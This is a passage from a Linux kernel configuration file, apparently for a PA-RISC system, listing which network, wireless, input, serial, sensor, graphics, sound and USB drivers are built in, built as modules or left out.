CONFIG_PCMCIA_XIRCOM=m
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_B44 is not set
# CONFIG_FORCEDETH is not set
CONFIG_E100=m
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_R6040 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SMSC9420 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_SC92031 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_ATL2 is not set
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
CONFIG_ACENIC_OMIT_TIGON_I=y
# CONFIG_DL2K is not set
CONFIG_E1000=m
# CONFIG_E1000E is not set
# CONFIG_IP1000 is not set
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_R8169 is not set
# CONFIG_SIS190 is not set
# CONFIG_SKGE is not set
# CONFIG_SKY2 is not set
# CONFIG_VIA_VELOCITY is not set
CONFIG_TIGON3=m
CONFIG_BNX2=m
# CONFIG_QLA3XXX is not set
# CONFIG_ATL1 is not set
# CONFIG_ATL1E is not set
# CONFIG_ATL1C is not set
# CONFIG_JME is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
CONFIG_WLAN_PRE80211=y
CONFIG_STRIP=m
CONFIG_PCMCIA_WAVELAN=m
CONFIG_PCMCIA_NETWAVE=m
CONFIG_WLAN_80211=y
CONFIG_PCMCIA_RAYCS=m
CONFIG_LIBERTAS=m
CONFIG_LIBERTAS_USB=m
# CONFIG_LIBERTAS_CS is not set
# CONFIG_LIBERTAS_SDIO is not set
# CONFIG_LIBERTAS_DEBUG is not set
# CONFIG_LIBERTAS_THINFIRM is not set
CONFIG_ATMEL=m
CONFIG_PCI_ATMEL=m
CONFIG_PCMCIA_ATMEL=m
# CONFIG_AT76C50X_USB is not set
CONFIG_AIRO_CS=m
CONFIG_PCMCIA_WL3501=m
CONFIG_PRISM54=m
CONFIG_USB_ZD1201=m
# CONFIG_USB_NET_RNDIS_WLAN is not set
# CONFIG_RTL8180 is not set
CONFIG_RTL8187=m
CONFIG_ADM8211=m
# CONFIG_MAC80211_HWSIM is not set
# CONFIG_MWL8K is not set
CONFIG_P54_COMMON=m
CONFIG_P54_USB=m
# CONFIG_P54_PCI is not set
CONFIG_P54_LEDS=y
# CONFIG_ATH5K is not set
# CONFIG_ATH9K is not set
# CONFIG_AR9170_USB is not set
CONFIG_IPW2100=m
# CONFIG_IPW2100_MONITOR is not set
# CONFIG_IPW2100_DEBUG is not set
CONFIG_IPW2200=m
CONFIG_IPW2200_MONITOR=y
CONFIG_IPW2200_RADIOTAP=y
CONFIG_IPW2200_PROMISCUOUS=y
CONFIG_IPW2200_QOS=y
# CONFIG_IPW2200_DEBUG is not set
CONFIG_LIBIPW=m
# CONFIG_LIBIPW_DEBUG is not set
# CONFIG_IWLWIFI is not set
CONFIG_HOSTAP=m
CONFIG_HOSTAP_FIRMWARE=y
CONFIG_HOSTAP_FIRMWARE_NVRAM=y
CONFIG_HOSTAP_PLX=m
CONFIG_HOSTAP_PCI=m
CONFIG_HOSTAP_CS=m
CONFIG_B43=m
CONFIG_B43_PCI_AUTOSELECT=y
CONFIG_B43_PCICORE_AUTOSELECT=y
CONFIG_B43_PCMCIA=y
CONFIG_B43_PIO=y
CONFIG_B43_LEDS=y
CONFIG_B43_RFKILL=y
# CONFIG_B43_DEBUG is not set
# CONFIG_B43LEGACY is not set
CONFIG_ZD1211RW=m
# CONFIG_ZD1211RW_DEBUG is not set
# CONFIG_RT2X00 is not set
CONFIG_HERMES=m
CONFIG_HERMES_CACHE_FW_ON_INIT=y
CONFIG_PLX_HERMES=m
CONFIG_TMD_HERMES=m
CONFIG_NORTEL_HERMES=m
CONFIG_PCI_HERMES=m
CONFIG_PCMCIA_HERMES=m
CONFIG_PCMCIA_SPECTRUM=m

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
CONFIG_USB_CATC=m
CONFIG_USB_KAWETH=m
CONFIG_USB_PEGASUS=m
CONFIG_USB_RTL8150=m
CONFIG_USB_USBNET=m
CONFIG_USB_NET_AX8817X=m
CONFIG_USB_NET_CDCETHER=m
CONFIG_USB_NET_DM9601=m
# CONFIG_USB_NET_SMSC95XX is not set
CONFIG_USB_NET_GL620A=m
CONFIG_USB_NET_NET1080=m
CONFIG_USB_NET_PLUSB=m
CONFIG_USB_NET_MCS7830=m
# CONFIG_USB_NET_RNDIS_HOST is not set
CONFIG_USB_NET_CDC_SUBSET=m
CONFIG_USB_ALI_M5632=y
# CONFIG_USB_AN2720 is not set
CONFIG_USB_BELKIN=y
# CONFIG_USB_ARMLINUX is not set
# CONFIG_USB_EPSON2888 is not set
# CONFIG_USB_KC2190 is not set
# CONFIG_USB_NET_ZAURUS is not set
# CONFIG_USB_HSO is not set
CONFIG_NET_PCMCIA=y
CONFIG_PCMCIA_3C589=m
CONFIG_PCMCIA_3C574=m
CONFIG_PCMCIA_FMVJ18X=m
CONFIG_PCMCIA_PCNET=m
CONFIG_PCMCIA_NMCLAN=m
CONFIG_PCMCIA_SMC91C92=m
CONFIG_PCMCIA_XIRC2PS=m
CONFIG_PCMCIA_AXNET=m
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
# CONFIG_PPP_ASYNC is not set
# CONFIG_PPP_SYNC_TTY is not set
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
# CONFIG_PPP_MPPE is not set
# CONFIG_PPPOE is not set
# CONFIG_PPPOL2TP is not set
# CONFIG_SLIP is not set
CONFIG_SLHC=m
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
CONFIG_INPUT_POLLDEV=m

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=y
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_ATKBD_HP_KEYCODES is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PARKBD is not set
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_CS=m
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
# CONFIG_SERIAL_8250_EXTENDED is not set

#
# Non-8250 serial port support
#
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=64
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# PCMCIA character devices
#
# CONFIG_SYNCLINK_CS is not set
# CONFIG_CARDMAN_4000 is not set
# CONFIG_CARDMAN_4040 is not set
# CONFIG_IPWIRELESS is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
CONFIG_I2C=m
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_CHARDEV=m
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
CONFIG_I2C_I801=m
# CONFIG_I2C_ISCH is not set
CONFIG_I2C_PIIX4=m
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_SIMTEC is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Graphics adapter I2C/DDC channel drivers
#
# CONFIG_I2C_VOODOO3 is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_STUB is not set

#
# Miscellaneous I2C Chip support
#
# CONFIG_DS1682 is not set
# CONFIG_SENSORS_PCF8574 is not set
# CONFIG_PCF8575 is not set
# CONFIG_SENSORS_PCA9539 is not set
# CONFIG_SENSORS_MAX6875 is not set
# CONFIG_SENSORS_TSL2550 is not set
CONFIG_I2C_DEBUG_CORE=y
CONFIG_I2C_DEBUG_ALGO=y
CONFIG_I2C_DEBUG_BUS=y
CONFIG_I2C_DEBUG_CHIP=y
# CONFIG_SPI is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=m
CONFIG_HWMON_VID=m
# CONFIG_SENSORS_AD7414 is not set
CONFIG_SENSORS_AD7418=m
CONFIG_SENSORS_ADM1021=m
CONFIG_SENSORS_ADM1025=m
CONFIG_SENSORS_ADM1026=m
CONFIG_SENSORS_ADM1029=m
CONFIG_SENSORS_ADM1031=m
CONFIG_SENSORS_ADM9240=m
# CONFIG_SENSORS_ADT7462 is not set
CONFIG_SENSORS_ADT7470=m
# CONFIG_SENSORS_ADT7473 is not set
# CONFIG_SENSORS_ADT7475 is not set
CONFIG_SENSORS_ATXP1=m
CONFIG_SENSORS_DS1621=m
CONFIG_SENSORS_I5K_AMB=m
CONFIG_SENSORS_F71805F=m
CONFIG_SENSORS_F71882FG=m
CONFIG_SENSORS_F75375S=m
# CONFIG_SENSORS_G760A is not set
CONFIG_SENSORS_GL518SM=m
CONFIG_SENSORS_GL520SM=m
CONFIG_SENSORS_IT87=m
CONFIG_SENSORS_LM63=m
CONFIG_SENSORS_LM75=m
CONFIG_SENSORS_LM77=m
CONFIG_SENSORS_LM78=m
CONFIG_SENSORS_LM80=m
CONFIG_SENSORS_LM83=m
CONFIG_SENSORS_LM85=m
CONFIG_SENSORS_LM87=m
CONFIG_SENSORS_LM90=m
CONFIG_SENSORS_LM92=m
CONFIG_SENSORS_LM93=m
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LM95241 is not set
CONFIG_SENSORS_MAX1619=m
CONFIG_SENSORS_MAX6650=m
CONFIG_SENSORS_PC87360=m
CONFIG_SENSORS_PC87427=m
# CONFIG_SENSORS_PCF8591 is not set
CONFIG_SENSORS_SIS5595=m
CONFIG_SENSORS_DME1737=m
CONFIG_SENSORS_SMSC47M1=m
CONFIG_SENSORS_SMSC47M192=m
CONFIG_SENSORS_SMSC47B397=m
# CONFIG_SENSORS_ADS7828 is not set
CONFIG_SENSORS_THMC50=m
CONFIG_SENSORS_VIA686A=m
CONFIG_SENSORS_VT1211=m
CONFIG_SENSORS_VT8231=m
CONFIG_SENSORS_W83781D=m
CONFIG_SENSORS_W83791D=m
CONFIG_SENSORS_W83792D=m
CONFIG_SENSORS_W83793=m
CONFIG_SENSORS_W83L785TS=m
# CONFIG_SENSORS_W83L786NG is not set
CONFIG_SENSORS_W83627HF=m
CONFIG_SENSORS_W83627EHF=m
CONFIG_HWMON_DEBUG_CHIP=y
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_BLOCKIO=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
CONFIG_SSB_B43_PCI_BRIDGE=y
CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
CONFIG_SSB_PCMCIAHOST=y
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_REGULATOR is not set

#
# Multimedia devices
#

#
# Multimedia core support
#
CONFIG_VIDEO_DEV=m
CONFIG_VIDEO_V4L2_COMMON=m
CONFIG_VIDEO_ALLOW_V4L1=y
CONFIG_VIDEO_V4L1_COMPAT=y
# CONFIG_DVB_CORE is not set
CONFIG_VIDEO_MEDIA=m

#
# Multimedia drivers
#
# CONFIG_MEDIA_ATTACH is not set
CONFIG_MEDIA_TUNER=m
# CONFIG_MEDIA_TUNER_CUSTOMISE is not set
CONFIG_MEDIA_TUNER_SIMPLE=m
CONFIG_MEDIA_TUNER_TDA8290=m
CONFIG_MEDIA_TUNER_TDA9887=m
CONFIG_MEDIA_TUNER_TEA5761=m
CONFIG_MEDIA_TUNER_TEA5767=m
CONFIG_MEDIA_TUNER_MT20XX=m
CONFIG_MEDIA_TUNER_XC2028=m
CONFIG_MEDIA_TUNER_XC5000=m
CONFIG_MEDIA_TUNER_MC44S803=m
CONFIG_VIDEO_V4L2=m
CONFIG_VIDEO_V4L1=m
# CONFIG_VIDEO_CAPTURE_DRIVERS is not set
# CONFIG_RADIO_ADAPTERS is not set
# CONFIG_DAB is not set

#
# Graphics support
#
CONFIG_AGP=y
CONFIG_DRM=m
# CONFIG_DRM_TDFX is not set
CONFIG_DRM_R128=m
CONFIG_DRM_RADEON=m
# CONFIG_DRM_MGA is not set
# CONFIG_DRM_SIS is not set
# CONFIG_DRM_VIA is not set
# CONFIG_DRM_SAVAGE is not set
# CONFIG_VGASTATE is not set
CONFIG_VIDEO_OUTPUT_CONTROL=m
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
CONFIG_FB_DDC=m
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
CONFIG_FB_BACKLIGHT=y
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
CONFIG_FB_RADEON=m
CONFIG_FB_RADEON_I2C=y
CONFIG_FB_RADEON_BACKLIGHT=y
# CONFIG_FB_RADEON_DEBUG is not set
# CONFIG_FB_ATY128 is not set
CONFIG_FB_ATY=y
CONFIG_FB_ATY_CT=y
CONFIG_FB_ATY_GENERIC_LCD=y
# CONFIG_FB_ATY_GX is not set
CONFIG_FB_ATY_BACKLIGHT=y
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
CONFIG_LCD_CLASS_DEVICE=m
# CONFIG_LCD_ILI9320 is not set
# CONFIG_LCD_PLATFORM is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
CONFIG_BACKLIGHT_GENERIC=y

#
# Display device support
#
CONFIG_DISPLAY_SUPPORT=y

#
# Display hardware drivers
#

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
# CONFIG_FRAMEBUFFER_CONSOLE is not set
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_LOGO is not set
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=y
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_MPU401_UART=m
CONFIG_SND_OPL3_LIB=m
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
CONFIG_SND_DUMMY=m
CONFIG_SND_VIRMIDI=m
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
CONFIG_SND_MPU401=m
# CONFIG_SND_PORTMAN2X4 is not set
CONFIG_SND_AC97_POWER_SAVE=y
CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0
CONFIG_SND_PCI=y
# CONFIG_SND_AD1889 is not set
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
CONFIG_SND_ES1968=m
CONFIG_SND_FM801=m
# CONFIG_SND_FM801_TEA575X_BOOL is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
CONFIG_SND_MAESTRO3=m
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
CONFIG_SND_RIPTIDE=m
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_USB=y
CONFIG_SND_USB_AUDIO=m
CONFIG_SND_USB_CAIAQ=m
CONFIG_SND_USB_CAIAQ_INPUT=y
CONFIG_SND_PCMCIA=y
# CONFIG_SND_VXPOCKET is not set
# CONFIG_SND_PDAUDIOCF is not set
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
# CONFIG_HID_DEBUG is not set
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=m
# CONFIG_HID_PID is not set
CONFIG_USB_HIDDEV=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=m
CONFIG_HID_APPLE=m
CONFIG_HID_BELKIN=m
CONFIG_HID_CHERRY=m
CONFIG_HID_CHICONY=m
CONFIG_HID_CYPRESS=m
# CONFIG_DRAGONRISE_FF is not set
CONFIG_HID_EZKEY=m
CONFIG_HID_KYE=m
CONFIG_HID_GYRATION=m
CONFIG_HID_KENSINGTON=m
CONFIG_HID_LOGITECH=m
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
CONFIG_HID_MICROSOFT=m
CONFIG_HID_MONTEREY=m
CONFIG_HID_NTRIG=m
CONFIG_HID_PANTHERLORD=m
# CONFIG_PANTHERLORD_FF is not set
CONFIG_HID_PETALYNX=m
CONFIG_HID_SAMSUNG=m
CONFIG_HID_SONY=m
CONFIG_HID_SUNPLUS=m
# CONFIG_GREENASIA_FF is not set
CONFIG_HID_TOPSEED=m
# CONFIG_THRUSTMASTER_FF is not set
# CONFIG_ZEROPLUS_FF is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
# CONFIG_USB_DEBUG is not set
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set
CONFIG_USB_MON=y
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
CONFIG_USB_EHCI_HCD=m
CONFIG_USB_EHCI_ROOT_HUB_TT=y
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
# CONFIG_USB_OXU210HP_HCD is not set
CONFIG_USB_ISP116X_HCD=m
# CONFIG_USB_ISP1760_HCD is not set
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_HCD_SSB is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=m
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
CONFIG_USB_PRINTER=m
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
CONFIG_USB_STORAGE_DATAFAB=m
CONFIG_USB_STORAGE_FREECOM=m
CONFIG_USB_STORAGE_ISD200=m
CONFIG_USB_STORAGE_USBAT=m
CONFIG_USB_STORAGE_SDDR09=m
CONFIG_USB_STORAGE_SDDR55=m
CONFIG_USB_STORAGE_JUMPSHOT=m
CONFIG_USB_STORAGE_ALAUDA=m
CONFIG_USB_STORAGE_ONETOUCH=m
CONFIG_USB_STORAGE_KARMA=m
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
CONFIG_USB_LIBUSUAL=y

#
# USB Imaging devices
#
CONFIG_USB_MDC800=m
CONFIG_USB_MICROTEK=m

#
# USB port drivers
#
CONFIG_USB_USS720=m
CONFIG_USB_SERIAL=m
CONFIG_USB_EZUSB=y
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_AIRCABLE=m
CONFIG_USB_SERIAL_ARK3116=m
CONFIG_USB_SERIAL_BELKIN=m
# CONFIG_USB_SERIAL_CH341 is not set
CONFIG_USB_SERIAL_WHITEHEAT=m
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
# CONFIG_USB_SERIAL_CP210X is not set
CONFIG_USB_SERIAL_CYPRESS_M8=m
CONFIG_USB_SERIAL_EMPEG=m
CONFIG_USB_SERIAL_FTDI_SIO=m
CONFIG_USB_SERIAL_FUNSOFT=m
CONFIG_USB_SERIAL_VISOR=m
CONFIG_USB_SERIAL_IPAQ=m
CONFIG_USB_SERIAL_IR=m
CONFIG_USB_SERIAL_EDGEPORT=m
CONFIG_USB_SERIAL_EDGEPORT_TI=m
CONFIG_USB_SERIAL_GARMIN=m
CONFIG_USB_SERIAL_IPW=m
# CONFIG_USB_SERIAL_IUU is not set
CONFIG_USB_SERIAL_KEYSPAN_PDA=m
CONFIG_USB_SERIAL_KEYSPAN=m
CONFIG_USB_SERIAL_KEYSPAN_MPR=y
CONFIG_USB_SERIAL_KEYSPAN_USA28=y
